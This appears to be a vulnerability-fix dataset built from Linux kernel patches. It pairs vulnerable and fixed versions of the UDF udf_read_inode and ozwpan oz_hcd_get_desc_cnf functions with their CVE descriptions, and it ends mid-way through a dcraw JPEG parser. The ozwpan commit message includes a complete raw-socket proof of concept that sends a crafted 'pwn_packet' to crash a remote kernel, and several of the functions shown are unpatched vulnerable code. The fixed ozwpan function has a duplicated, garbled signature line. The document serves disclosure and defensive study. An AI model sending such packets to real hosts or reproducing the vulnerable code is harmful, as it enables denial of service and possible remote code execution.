udf: Check length of extended attributes and allocation descriptors

Check length of extended attributes and allocation descriptors when
loading inodes from disk. Otherwise corrupted filesystems could confuse
the code and make the kernel oops.

Reported-by: Carl Henrik Lunde <chlunde@ping.uio.no>
CC: stable@vger.kernel.org
Signed-off-by: Jan Kara <jack@suse.cz>

static int udf_read_inode(struct inode *inode, bool hidden_inode)
{
	struct buffer_head *bh = NULL;
	struct fileEntry *fe;
	struct extendedFileEntry *efe;
	uint16_t ident;
	struct udf_inode_info *iinfo = UDF_I(inode);
	struct udf_sb_info *sbi = UDF_SB(inode->i_sb);
	struct kernel_lb_addr *iloc = &iinfo->i_location;
	unsigned int link_count;
	unsigned int indirections = 0;
	int bs = inode->i_sb->s_blocksize;
	int ret = -EIO;

reread:
	if (iloc->logicalBlockNum >=
	    sbi->s_partmaps[iloc->partitionReferenceNum].s_partition_len) {
		udf_debug("block=%d, partition=%d out of range\n",
			  iloc->logicalBlockNum, iloc->partitionReferenceNum);
		return -EIO;
	}

	/*
	 * Set defaults, but the inode is still incomplete!
	 * Note: get_new_inode() sets the following on a new inode:
	 *      i_sb = sb
	 *      i_no = ino
	 *      i_flags = sb->s_flags
	 *      i_state = 0
	 * clean_inode(): zero fills and sets
	 *      i_count = 1
	 *      i_nlink = 1
	 *      i_op = NULL;
	 */
	bh = udf_read_ptagged(inode->i_sb, iloc, 0, &ident);
	if (!bh) {
		udf_err(inode->i_sb, "(ino %ld) failed !bh\n", inode->i_ino);
		return -EIO;
	}

	if (ident != TAG_IDENT_FE && ident != TAG_IDENT_EFE &&
	    ident != TAG_IDENT_USE) {
		udf_err(inode->i_sb, "(ino %ld) failed ident=%d\n",
			inode->i_ino, ident);
		goto out;
	}

	fe = (struct fileEntry *)bh->b_data;
	efe = (struct extendedFileEntry *)bh->b_data;

	if (fe->icbTag.strategyType == cpu_to_le16(4096)) {
		struct buffer_head *ibh;

		ibh = udf_read_ptagged(inode->i_sb, iloc, 1, &ident);
		if (ident == TAG_IDENT_IE && ibh) {
			struct kernel_lb_addr loc;
			struct indirectEntry *ie;

			ie = (struct indirectEntry *)ibh->b_data;
			loc = lelb_to_cpu(ie->indirectICB.extLocation);

			if (ie->indirectICB.extLength) {
				brelse(ibh);
				memcpy(&iinfo->i_location, &loc,
				       sizeof(struct kernel_lb_addr));
				if (++indirections > UDF_MAX_ICB_NESTING) {
					udf_err(inode->i_sb,
						"too many ICBs in ICB hierarchy"
						" (max %d supported)\n",
						UDF_MAX_ICB_NESTING);
					goto out;
				}
				brelse(bh);
				goto reread;
			}
		}
		brelse(ibh);
	} else if (fe->icbTag.strategyType != cpu_to_le16(4)) {
		udf_err(inode->i_sb, "unsupported strategy type: %d\n",
			le16_to_cpu(fe->icbTag.strategyType));
		goto out;
	}
	if (fe->icbTag.strategyType == cpu_to_le16(4))
		iinfo->i_strat4096 = 0;
	else /* if (fe->icbTag.strategyType == cpu_to_le16(4096)) */
		iinfo->i_strat4096 = 1;

	iinfo->i_alloc_type = le16_to_cpu(fe->icbTag.flags) &
							ICBTAG_FLAG_AD_MASK;
	iinfo->i_unique = 0;
	iinfo->i_lenEAttr = 0;
	iinfo->i_lenExtents = 0;
	iinfo->i_lenAlloc = 0;
	iinfo->i_next_alloc_block = 0;
	iinfo->i_next_alloc_goal = 0;
	if (fe->descTag.tagIdent == cpu_to_le16(TAG_IDENT_EFE)) {
		iinfo->i_efe = 1;
		iinfo->i_use = 0;
		ret = udf_alloc_i_data(inode, bs -
					sizeof(struct extendedFileEntry));
		if (ret)
			goto out;
		memcpy(iinfo->i_ext.i_data,
		       bh->b_data + sizeof(struct extendedFileEntry),
		       bs - sizeof(struct extendedFileEntry));
	} else if (fe->descTag.tagIdent == cpu_to_le16(TAG_IDENT_FE)) {
		iinfo->i_efe = 0;
		iinfo->i_use = 0;
		ret = udf_alloc_i_data(inode, bs - sizeof(struct fileEntry));
		if (ret)
			goto out;
		memcpy(iinfo->i_ext.i_data,
		       bh->b_data + sizeof(struct fileEntry),
		       bs - sizeof(struct fileEntry));
	} else if (fe->descTag.tagIdent == cpu_to_le16(TAG_IDENT_USE)) {
		iinfo->i_efe = 0;
		iinfo->i_use = 1;
		iinfo->i_lenAlloc = le32_to_cpu(
				((struct unallocSpaceEntry *)bh->b_data)->
				 lengthAllocDescs);
		ret = udf_alloc_i_data(inode, bs -
					sizeof(struct unallocSpaceEntry));
		if (ret)
			goto out;
		memcpy(iinfo->i_ext.i_data,
		       bh->b_data + sizeof(struct unallocSpaceEntry),
		       bs - sizeof(struct unallocSpaceEntry));
		return 0;
	}

	ret = -EIO;
	read_lock(&sbi->s_cred_lock);
	i_uid_write(inode, le32_to_cpu(fe->uid));
	if (!uid_valid(inode->i_uid) ||
	    UDF_QUERY_FLAG(inode->i_sb, UDF_FLAG_UID_IGNORE) ||
	    UDF_QUERY_FLAG(inode->i_sb, UDF_FLAG_UID_SET))
		inode->i_uid = UDF_SB(inode->i_sb)->s_uid;

	i_gid_write(inode, le32_to_cpu(fe->gid));
	if (!gid_valid(inode->i_gid) ||
	    UDF_QUERY_FLAG(inode->i_sb, UDF_FLAG_GID_IGNORE) ||
	    UDF_QUERY_FLAG(inode->i_sb, UDF_FLAG_GID_SET))
		inode->i_gid = UDF_SB(inode->i_sb)->s_gid;

	if (fe->icbTag.fileType != ICBTAG_FILE_TYPE_DIRECTORY &&
			sbi->s_fmode != UDF_INVALID_MODE)
		inode->i_mode = sbi->s_fmode;
	else if (fe->icbTag.fileType == ICBTAG_FILE_TYPE_DIRECTORY &&
			sbi->s_dmode != UDF_INVALID_MODE)
		inode->i_mode = sbi->s_dmode;
	else
		inode->i_mode = udf_convert_permissions(fe);
	inode->i_mode &= ~sbi->s_umask;
	read_unlock(&sbi->s_cred_lock);

	link_count = le16_to_cpu(fe->fileLinkCount);
	if (!link_count) {
		if (!hidden_inode) {
			ret = -ESTALE;
			goto out;
		}
		link_count = 1;
	}
	set_nlink(inode, link_count);

	inode->i_size = le64_to_cpu(fe->informationLength);
	iinfo->i_lenExtents = inode->i_size;

	if (iinfo->i_efe == 0) {
		inode->i_blocks = le64_to_cpu(fe->logicalBlocksRecorded) <<
			(inode->i_sb->s_blocksize_bits - 9);

		if (!udf_disk_stamp_to_time(&inode->i_atime, fe->accessTime))
			inode->i_atime = sbi->s_record_time;

		if (!udf_disk_stamp_to_time(&inode->i_mtime,
					    fe->modificationTime))
			inode->i_mtime = sbi->s_record_time;

		if (!udf_disk_stamp_to_time(&inode->i_ctime, fe->attrTime))
			inode->i_ctime = sbi->s_record_time;

		iinfo->i_unique = le64_to_cpu(fe->uniqueID);
		iinfo->i_lenEAttr = le32_to_cpu(fe->lengthExtendedAttr);
		iinfo->i_lenAlloc = le32_to_cpu(fe->lengthAllocDescs);
		iinfo->i_checkpoint = le32_to_cpu(fe->checkpoint);
	} else {
		inode->i_blocks = le64_to_cpu(efe->logicalBlocksRecorded) <<
		    (inode->i_sb->s_blocksize_bits - 9);

		if (!udf_disk_stamp_to_time(&inode->i_atime, efe->accessTime))
			inode->i_atime = sbi->s_record_time;

		if (!udf_disk_stamp_to_time(&inode->i_mtime,
					    efe->modificationTime))
			inode->i_mtime = sbi->s_record_time;

		if (!udf_disk_stamp_to_time(&iinfo->i_crtime, efe->createTime))
			iinfo->i_crtime = sbi->s_record_time;

		if (!udf_disk_stamp_to_time(&inode->i_ctime, efe->attrTime))
			inode->i_ctime = sbi->s_record_time;

		iinfo->i_unique = le64_to_cpu(efe->uniqueID);
		iinfo->i_lenEAttr = le32_to_cpu(efe->lengthExtendedAttr);
		iinfo->i_lenAlloc = le32_to_cpu(efe->lengthAllocDescs);
		iinfo->i_checkpoint = le32_to_cpu(efe->checkpoint);
 	}
 	inode->i_generation = iinfo->i_unique;

 	/* Sanity checks for files in ICB so that we don't get confused later */
 	if (iinfo->i_alloc_type == ICBTAG_FLAG_AD_IN_ICB) {
 		/*
		 * For file in ICB data is stored in allocation descriptor
		 * so sizes should match
		 */
		if (iinfo->i_lenAlloc != inode->i_size)
			goto out;
		/* File in ICB has to fit in there... */
		if (inode->i_size > bs - udf_file_entry_alloc_offset(inode))
			goto out;
	}

	switch (fe->icbTag.fileType) {
	case ICBTAG_FILE_TYPE_DIRECTORY:
		inode->i_op = &udf_dir_inode_operations;
		inode->i_fop = &udf_dir_operations;
		inode->i_mode |= S_IFDIR;
		inc_nlink(inode);
		break;
	case ICBTAG_FILE_TYPE_REALTIME:
	case ICBTAG_FILE_TYPE_REGULAR:
	case ICBTAG_FILE_TYPE_UNDEF:
	case ICBTAG_FILE_TYPE_VAT20:
		if (iinfo->i_alloc_type == ICBTAG_FLAG_AD_IN_ICB)
			inode->i_data.a_ops = &udf_adinicb_aops;
		else
			inode->i_data.a_ops = &udf_aops;
		inode->i_op = &udf_file_inode_operations;
		inode->i_fop = &udf_file_operations;
		inode->i_mode |= S_IFREG;
		break;
	case ICBTAG_FILE_TYPE_BLOCK:
		inode->i_mode |= S_IFBLK;
		break;
	case ICBTAG_FILE_TYPE_CHAR:
		inode->i_mode |= S_IFCHR;
		break;
	case ICBTAG_FILE_TYPE_FIFO:
		init_special_inode(inode, inode->i_mode | S_IFIFO, 0);
		break;
	case ICBTAG_FILE_TYPE_SOCKET:
		init_special_inode(inode, inode->i_mode | S_IFSOCK, 0);
		break;
	case ICBTAG_FILE_TYPE_SYMLINK:
		inode->i_data.a_ops = &udf_symlink_aops;
		inode->i_op = &udf_symlink_inode_operations;
		inode->i_mode = S_IFLNK | S_IRWXUGO;
		break;
	case ICBTAG_FILE_TYPE_MAIN:
		udf_debug("METADATA FILE-----\n");
		break;
	case ICBTAG_FILE_TYPE_MIRROR:
		udf_debug("METADATA MIRROR FILE-----\n");
		break;
	case ICBTAG_FILE_TYPE_BITMAP:
		udf_debug("METADATA BITMAP FILE-----\n");
		break;
	default:
		udf_err(inode->i_sb, "(ino %ld) failed unknown file type=%d\n",
			inode->i_ino, fe->icbTag.fileType);
		goto out;
	}
	if (S_ISCHR(inode->i_mode) || S_ISBLK(inode->i_mode)) {
		struct deviceSpec *dsea =
			(struct deviceSpec *)udf_get_extendedattr(inode, 12, 1);
		if (dsea) {
			init_special_inode(inode, inode->i_mode,
				MKDEV(le32_to_cpu(dsea->majorDeviceIdent),
				      le32_to_cpu(dsea->minorDeviceIdent)));
			/* Developer ID ??? */
		} else
			goto out;
	}
	ret = 0;
out:
	brelse(bh);
	return ret;
}

The udf_read_inode function in fs/udf/inode.c in the Linux kernel before 3.19.1 does not validate certain length values, which allows local users to cause a denial of service (incorrect data representation or integer overflow, and OOPS) via a crafted UDF filesystem.


static int udf_read_inode(struct inode *inode, bool hidden_inode)
{
	struct buffer_head *bh = NULL;
	struct fileEntry *fe;
	struct extendedFileEntry *efe;
	uint16_t ident;
	struct udf_inode_info *iinfo = UDF_I(inode);
	struct udf_sb_info *sbi = UDF_SB(inode->i_sb);
	struct kernel_lb_addr *iloc = &iinfo->i_location;
	unsigned int link_count;
	unsigned int indirections = 0;
	int bs = inode->i_sb->s_blocksize;
	int ret = -EIO;

reread:
	if (iloc->logicalBlockNum >=
	    sbi->s_partmaps[iloc->partitionReferenceNum].s_partition_len) {
		udf_debug("block=%d, partition=%d out of range\n",
			  iloc->logicalBlockNum, iloc->partitionReferenceNum);
		return -EIO;
	}

	/*
	 * Set defaults, but the inode is still incomplete!
	 * Note: get_new_inode() sets the following on a new inode:
	 *      i_sb = sb
	 *      i_no = ino
	 *      i_flags = sb->s_flags
	 *      i_state = 0
	 * clean_inode(): zero fills and sets
	 *      i_count = 1
	 *      i_nlink = 1
	 *      i_op = NULL;
	 */
	bh = udf_read_ptagged(inode->i_sb, iloc, 0, &ident);
	if (!bh) {
		udf_err(inode->i_sb, "(ino %ld) failed !bh\n", inode->i_ino);
		return -EIO;
	}

	if (ident != TAG_IDENT_FE && ident != TAG_IDENT_EFE &&
	    ident != TAG_IDENT_USE) {
		udf_err(inode->i_sb, "(ino %ld) failed ident=%d\n",
			inode->i_ino, ident);
		goto out;
	}

	fe = (struct fileEntry *)bh->b_data;
	efe = (struct extendedFileEntry *)bh->b_data;

	if (fe->icbTag.strategyType == cpu_to_le16(4096)) {
		struct buffer_head *ibh;

		ibh = udf_read_ptagged(inode->i_sb, iloc, 1, &ident);
		if (ident == TAG_IDENT_IE && ibh) {
			struct kernel_lb_addr loc;
			struct indirectEntry *ie;

			ie = (struct indirectEntry *)ibh->b_data;
			loc = lelb_to_cpu(ie->indirectICB.extLocation);

			if (ie->indirectICB.extLength) {
				brelse(ibh);
				memcpy(&iinfo->i_location, &loc,
				       sizeof(struct kernel_lb_addr));
				if (++indirections > UDF_MAX_ICB_NESTING) {
					udf_err(inode->i_sb,
						"too many ICBs in ICB hierarchy"
						" (max %d supported)\n",
						UDF_MAX_ICB_NESTING);
					goto out;
				}
				brelse(bh);
				goto reread;
			}
		}
		brelse(ibh);
	} else if (fe->icbTag.strategyType != cpu_to_le16(4)) {
		udf_err(inode->i_sb, "unsupported strategy type: %d\n",
			le16_to_cpu(fe->icbTag.strategyType));
		goto out;
	}
	if (fe->icbTag.strategyType == cpu_to_le16(4))
		iinfo->i_strat4096 = 0;
	else /* if (fe->icbTag.strategyType == cpu_to_le16(4096)) */
		iinfo->i_strat4096 = 1;

	iinfo->i_alloc_type = le16_to_cpu(fe->icbTag.flags) &
							ICBTAG_FLAG_AD_MASK;
	iinfo->i_unique = 0;
	iinfo->i_lenEAttr = 0;
	iinfo->i_lenExtents = 0;
	iinfo->i_lenAlloc = 0;
	iinfo->i_next_alloc_block = 0;
	iinfo->i_next_alloc_goal = 0;
	if (fe->descTag.tagIdent == cpu_to_le16(TAG_IDENT_EFE)) {
		iinfo->i_efe = 1;
		iinfo->i_use = 0;
		ret = udf_alloc_i_data(inode, bs -
					sizeof(struct extendedFileEntry));
		if (ret)
			goto out;
		memcpy(iinfo->i_ext.i_data,
		       bh->b_data + sizeof(struct extendedFileEntry),
		       bs - sizeof(struct extendedFileEntry));
	} else if (fe->descTag.tagIdent == cpu_to_le16(TAG_IDENT_FE)) {
		iinfo->i_efe = 0;
		iinfo->i_use = 0;
		ret = udf_alloc_i_data(inode, bs - sizeof(struct fileEntry));
		if (ret)
			goto out;
		memcpy(iinfo->i_ext.i_data,
		       bh->b_data + sizeof(struct fileEntry),
		       bs - sizeof(struct fileEntry));
	} else if (fe->descTag.tagIdent == cpu_to_le16(TAG_IDENT_USE)) {
		iinfo->i_efe = 0;
		iinfo->i_use = 1;
		iinfo->i_lenAlloc = le32_to_cpu(
				((struct unallocSpaceEntry *)bh->b_data)->
				 lengthAllocDescs);
		ret = udf_alloc_i_data(inode, bs -
					sizeof(struct unallocSpaceEntry));
		if (ret)
			goto out;
		memcpy(iinfo->i_ext.i_data,
		       bh->b_data + sizeof(struct unallocSpaceEntry),
		       bs - sizeof(struct unallocSpaceEntry));
		return 0;
	}

	ret = -EIO;
	read_lock(&sbi->s_cred_lock);
	i_uid_write(inode, le32_to_cpu(fe->uid));
	if (!uid_valid(inode->i_uid) ||
	    UDF_QUERY_FLAG(inode->i_sb, UDF_FLAG_UID_IGNORE) ||
	    UDF_QUERY_FLAG(inode->i_sb, UDF_FLAG_UID_SET))
		inode->i_uid = UDF_SB(inode->i_sb)->s_uid;

	i_gid_write(inode, le32_to_cpu(fe->gid));
	if (!gid_valid(inode->i_gid) ||
	    UDF_QUERY_FLAG(inode->i_sb, UDF_FLAG_GID_IGNORE) ||
	    UDF_QUERY_FLAG(inode->i_sb, UDF_FLAG_GID_SET))
		inode->i_gid = UDF_SB(inode->i_sb)->s_gid;

	if (fe->icbTag.fileType != ICBTAG_FILE_TYPE_DIRECTORY &&
			sbi->s_fmode != UDF_INVALID_MODE)
		inode->i_mode = sbi->s_fmode;
	else if (fe->icbTag.fileType == ICBTAG_FILE_TYPE_DIRECTORY &&
			sbi->s_dmode != UDF_INVALID_MODE)
		inode->i_mode = sbi->s_dmode;
	else
		inode->i_mode = udf_convert_permissions(fe);
	inode->i_mode &= ~sbi->s_umask;
	read_unlock(&sbi->s_cred_lock);

	link_count = le16_to_cpu(fe->fileLinkCount);
	if (!link_count) {
		if (!hidden_inode) {
			ret = -ESTALE;
			goto out;
		}
		link_count = 1;
	}
	set_nlink(inode, link_count);

	inode->i_size = le64_to_cpu(fe->informationLength);
	iinfo->i_lenExtents = inode->i_size;

	if (iinfo->i_efe == 0) {
		inode->i_blocks = le64_to_cpu(fe->logicalBlocksRecorded) <<
			(inode->i_sb->s_blocksize_bits - 9);

		if (!udf_disk_stamp_to_time(&inode->i_atime, fe->accessTime))
			inode->i_atime = sbi->s_record_time;

		if (!udf_disk_stamp_to_time(&inode->i_mtime,
					    fe->modificationTime))
			inode->i_mtime = sbi->s_record_time;

		if (!udf_disk_stamp_to_time(&inode->i_ctime, fe->attrTime))
			inode->i_ctime = sbi->s_record_time;

		iinfo->i_unique = le64_to_cpu(fe->uniqueID);
		iinfo->i_lenEAttr = le32_to_cpu(fe->lengthExtendedAttr);
		iinfo->i_lenAlloc = le32_to_cpu(fe->lengthAllocDescs);
		iinfo->i_checkpoint = le32_to_cpu(fe->checkpoint);
	} else {
		inode->i_blocks = le64_to_cpu(efe->logicalBlocksRecorded) <<
		    (inode->i_sb->s_blocksize_bits - 9);

		if (!udf_disk_stamp_to_time(&inode->i_atime, efe->accessTime))
			inode->i_atime = sbi->s_record_time;

		if (!udf_disk_stamp_to_time(&inode->i_mtime,
					    efe->modificationTime))
			inode->i_mtime = sbi->s_record_time;

		if (!udf_disk_stamp_to_time(&iinfo->i_crtime, efe->createTime))
			iinfo->i_crtime = sbi->s_record_time;

		if (!udf_disk_stamp_to_time(&inode->i_ctime, efe->attrTime))
			inode->i_ctime = sbi->s_record_time;

		iinfo->i_unique = le64_to_cpu(efe->uniqueID);
		iinfo->i_lenEAttr = le32_to_cpu(efe->lengthExtendedAttr);
		iinfo->i_lenAlloc = le32_to_cpu(efe->lengthAllocDescs);
		iinfo->i_checkpoint = le32_to_cpu(efe->checkpoint);
 	}
 	inode->i_generation = iinfo->i_unique;

	/*
	 * Sanity check length of allocation descriptors and extended attrs to
	 * avoid integer overflows
	 */
	if (iinfo->i_lenEAttr > bs || iinfo->i_lenAlloc > bs)
		goto out;
	/* Now do exact checks */
	if (udf_file_entry_alloc_offset(inode) + iinfo->i_lenAlloc > bs)
		goto out;
 	/* Sanity checks for files in ICB so that we don't get confused later */
 	if (iinfo->i_alloc_type == ICBTAG_FLAG_AD_IN_ICB) {
 		/*
		 * For file in ICB data is stored in allocation descriptor
		 * so sizes should match
		 */
		if (iinfo->i_lenAlloc != inode->i_size)
			goto out;
		/* File in ICB has to fit in there... */
		if (inode->i_size > bs - udf_file_entry_alloc_offset(inode))
			goto out;
	}

	switch (fe->icbTag.fileType) {
	case ICBTAG_FILE_TYPE_DIRECTORY:
		inode->i_op = &udf_dir_inode_operations;
		inode->i_fop = &udf_dir_operations;
		inode->i_mode |= S_IFDIR;
		inc_nlink(inode);
		break;
	case ICBTAG_FILE_TYPE_REALTIME:
	case ICBTAG_FILE_TYPE_REGULAR:
	case ICBTAG_FILE_TYPE_UNDEF:
	case ICBTAG_FILE_TYPE_VAT20:
		if (iinfo->i_alloc_type == ICBTAG_FLAG_AD_IN_ICB)
			inode->i_data.a_ops = &udf_adinicb_aops;
		else
			inode->i_data.a_ops = &udf_aops;
		inode->i_op = &udf_file_inode_operations;
		inode->i_fop = &udf_file_operations;
		inode->i_mode |= S_IFREG;
		break;
	case ICBTAG_FILE_TYPE_BLOCK:
		inode->i_mode |= S_IFBLK;
		break;
	case ICBTAG_FILE_TYPE_CHAR:
		inode->i_mode |= S_IFCHR;
		break;
	case ICBTAG_FILE_TYPE_FIFO:
		init_special_inode(inode, inode->i_mode | S_IFIFO, 0);
		break;
	case ICBTAG_FILE_TYPE_SOCKET:
		init_special_inode(inode, inode->i_mode | S_IFSOCK, 0);
		break;
	case ICBTAG_FILE_TYPE_SYMLINK:
		inode->i_data.a_ops = &udf_symlink_aops;
		inode->i_op = &udf_symlink_inode_operations;
		inode->i_mode = S_IFLNK | S_IRWXUGO;
		break;
	case ICBTAG_FILE_TYPE_MAIN:
		udf_debug("METADATA FILE-----\n");
		break;
	case ICBTAG_FILE_TYPE_MIRROR:
		udf_debug("METADATA MIRROR FILE-----\n");
		break;
	case ICBTAG_FILE_TYPE_BITMAP:
		udf_debug("METADATA BITMAP FILE-----\n");
		break;
	default:
		udf_err(inode->i_sb, "(ino %ld) failed unknown file type=%d\n",
			inode->i_ino, fe->icbTag.fileType);
		goto out;
	}
	if (S_ISCHR(inode->i_mode) || S_ISBLK(inode->i_mode)) {
		struct deviceSpec *dsea =
			(struct deviceSpec *)udf_get_extendedattr(inode, 12, 1);
		if (dsea) {
			init_special_inode(inode, inode->i_mode,
				MKDEV(le32_to_cpu(dsea->majorDeviceIdent),
				      le32_to_cpu(dsea->minorDeviceIdent)));
			/* Developer ID ??? */
		} else
			goto out;
	}
	ret = 0;
out:
	brelse(bh);
	return ret;
}


ozwpan: Use unsigned ints to prevent heap overflow

Using signed integers, the subtraction between required_size and offset
could wind up being negative, resulting in a memcpy into a heap buffer
with a negative length, resulting in huge amounts of network-supplied
data being copied into the heap, which could potentially lead to remote
code execution.. This is remotely triggerable with a magic packet.
A PoC which obtains DoS follows below. It requires the ozprotocol.h file
from this module.

=-=-=-=-=-=

 #include <arpa/inet.h>
 #include <linux/if_packet.h>
 #include <net/if.h>
 #include <netinet/ether.h>
 #include <stdio.h>
 #include <string.h>
 #include <stdlib.h>
 #include <endian.h>
 #include <sys/ioctl.h>
 #include <sys/socket.h>

 #define u8 uint8_t
 #define u16 uint16_t
 #define u32 uint32_t
 #define __packed __attribute__((__packed__))
 #include "ozprotocol.h"

static int hex2num(char c)
{
	if (c >= '0' && c <= '9')
		return c - '0';
	if (c >= 'a' && c <= 'f')
		return c - 'a' + 10;
	if (c >= 'A' && c <= 'F')
		return c - 'A' + 10;
	return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
	int i;
	for (i = 0; i < 6; i++) {
		int a, b;
		a = hex2num(*txt++);
		if (a < 0)
			return -1;
		b = hex2num(*txt++);
		if (b < 0)
			return -1;
		*addr++ = (a << 4) | b;
		if (i < 5 && *txt++ != ':')
			return -1;
	}
	return 0;
}

int main(int argc, char *argv[])
{
	if (argc < 3) {
		fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
		return 1;
	}

	uint8_t dest_mac[6];
	if (hwaddr_aton(argv[2], dest_mac)) {
		fprintf(stderr, "Invalid mac address.\n");
		return 1;
	}

	int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
	if (sockfd < 0) {
		perror("socket");
		return 1;
	}

	struct ifreq if_idx;
	int interface_index;
	strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
	if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
		perror("SIOCGIFINDEX");
		return 1;
	}
	interface_index = if_idx.ifr_ifindex;
	if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
		perror("SIOCGIFHWADDR");
		return 1;
	}
	uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;

	struct {
		struct ether_header ether_header;
		struct oz_hdr oz_hdr;
		struct oz_elt oz_elt;
		struct oz_elt_connect_req oz_elt_connect_req;
	} __packed connect_packet = {
		.ether_header = {
			.ether_type = htons(OZ_ETHERTYPE),
			.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
			.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
		},
		.oz_hdr = {
			.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
			.last_pkt_num = 0,
			.pkt_num = htole32(0)
		},
		.oz_elt = {
			.type = OZ_ELT_CONNECT_REQ,
			.length = sizeof(struct oz_elt_connect_req)
		},
		.oz_elt_connect_req = {
			.mode = 0,
			.resv1 = {0},
			.pd_info = 0,
			.session_id = 0,
			.presleep = 35,
			.ms_isoc_latency = 0,
			.host_vendor = 0,
			.keep_alive = 0,
			.apps = htole16((1 << OZ_APPID_USB) | 0x1),
			.max_len_div16 = 0,
			.ms_per_isoc = 0,
			.up_audio_buf = 0,
			.ms_per_elt = 0
		}
	};

	struct {
		struct ether_header ether_header;
		struct oz_hdr oz_hdr;
		struct oz_elt oz_elt;
		struct oz_get_desc_rsp oz_get_desc_rsp;
	} __packed pwn_packet = {
		.ether_header = {
			.ether_type = htons(OZ_ETHERTYPE),
			.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
			.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
		},
		.oz_hdr = {
			.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
			.last_pkt_num = 0,
			.pkt_num = htole32(1)
		},
		.oz_elt = {
			.type = OZ_ELT_APP_DATA,
			.length = sizeof(struct oz_get_desc_rsp)
		},
		.oz_get_desc_rsp = {
			.app_id = OZ_APPID_USB,
			.elt_seq_num = 0,
			.type = OZ_GET_DESC_RSP,
			.req_id = 0,
			.offset = htole16(2),
			.total_size = htole16(1),
			.rcode = 0,
			.data = {0}
		}
	};

	struct sockaddr_ll socket_address = {
		.sll_ifindex = interface_index,
		.sll_halen = ETH_ALEN,
		.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
	};

	if (sendto(sockfd, &connect_packet, sizeof(connect_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
		perror("sendto");
		return 1;
	}
	usleep(300000);
	if (sendto(sockfd, &pwn_packet, sizeof(pwn_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
		perror("sendto");
		return 1;
	}
	return 0;
}

Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com>
Acked-by: Dan Carpenter <dan.carpenter@oracle.com>
Cc: stable <stable@vger.kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

void oz_hcd_get_desc_cnf(void *hport, u8 req_id, int status, const u8 *desc,
			int length, int offset, int total_size)
 {
 	struct oz_port *port = hport;
 	struct urb *urb;
	int err = 0;

	oz_dbg(ON, "oz_hcd_get_desc_cnf length = %d offs = %d tot_size = %d\n",
	       length, offset, total_size);
	urb = oz_find_urb_by_id(port, 0, req_id);
 	if (!urb)
 		return;
 	if (status == 0) {
		int copy_len;
		int required_size = urb->transfer_buffer_length;

 		if (required_size > total_size)
 			required_size = total_size;
		copy_len = required_size-offset;
		if (length <= copy_len)
			copy_len = length;
		memcpy(urb->transfer_buffer+offset, desc, copy_len);
		offset += copy_len;
		if (offset < required_size) {
			struct usb_ctrlrequest *setup =
				(struct usb_ctrlrequest *)urb->setup_packet;
			unsigned wvalue = le16_to_cpu(setup->wValue);

			if (oz_enqueue_ep_urb(port, 0, 0, urb, req_id))
				err = -ENOMEM;
			else if (oz_usb_get_desc_req(port->hpd, req_id,
					setup->bRequestType, (u8)(wvalue>>8),
					(u8)wvalue, setup->wIndex, offset,
					required_size-offset)) {
				oz_dequeue_ep_urb(port, 0, 0, urb);
				err = -ENOMEM;
			}
			if (err == 0)
				return;
		}
	}
	urb->actual_length = total_size;
	oz_complete_urb(port->ozhcd->hcd, urb, 0);
}

Integer signedness error in the oz_hcd_get_desc_cnf function in drivers/staging/ozwpan/ozhcd.c in the OZWPAN driver in the Linux kernel through 4.0.5 allows remote attackers to cause a denial of service (system crash) or possibly execute arbitrary code via a crafted packet.


void oz_hcd_get_desc_cnf(void *hport, u8 req_id, int status, const u8 *desc,
void oz_hcd_get_desc_cnf(void *hport, u8 req_id, u8 status, const u8 *desc,
			u8 length, u16 offset, u16 total_size)
 {
 	struct oz_port *port = hport;
 	struct urb *urb;
	int err = 0;

	oz_dbg(ON, "oz_hcd_get_desc_cnf length = %d offs = %d tot_size = %d\n",
	       length, offset, total_size);
	urb = oz_find_urb_by_id(port, 0, req_id);
 	if (!urb)
 		return;
 	if (status == 0) {
		unsigned int copy_len;
		unsigned int required_size = urb->transfer_buffer_length;

 		if (required_size > total_size)
 			required_size = total_size;
		copy_len = required_size-offset;
		if (length <= copy_len)
			copy_len = length;
		memcpy(urb->transfer_buffer+offset, desc, copy_len);
		offset += copy_len;
		if (offset < required_size) {
			struct usb_ctrlrequest *setup =
				(struct usb_ctrlrequest *)urb->setup_packet;
			unsigned wvalue = le16_to_cpu(setup->wValue);

			if (oz_enqueue_ep_urb(port, 0, 0, urb, req_id))
				err = -ENOMEM;
			else if (oz_usb_get_desc_req(port->hpd, req_id,
					setup->bRequestType, (u8)(wvalue>>8),
					(u8)wvalue, setup->wIndex, offset,
					required_size-offset)) {
				oz_dequeue_ep_urb(port, 0, 0, urb);
				err = -ENOMEM;
			}
			if (err == 0)
				return;
		}
	}
	urb->actual_length = total_size;
	oz_complete_urb(port->ozhcd->hcd, urb, 0);
}


 int CLASS ljpeg_start (struct jhead *jh, int info_only)
 {
  int c, tag, len;
   uchar data[0x10000];
   const uchar *dp;

  memset (jh, 0, sizeof *jh);
  jh->restart = INT_MAX;
  fread (data, 2, 1, ifp);
  if (data[1] != 0xd8) return 0;
  do {
    fread (data, 2, 2, ifp);
    tag =  data[0] << 8 | data[1];
    len = (data[2] << 8 | data[3]) - 2;
    if (tag <= 0xff00) return 0;
    fread (data, 1, len, ifp);
    switch (tag) {
      case 0xffc3:
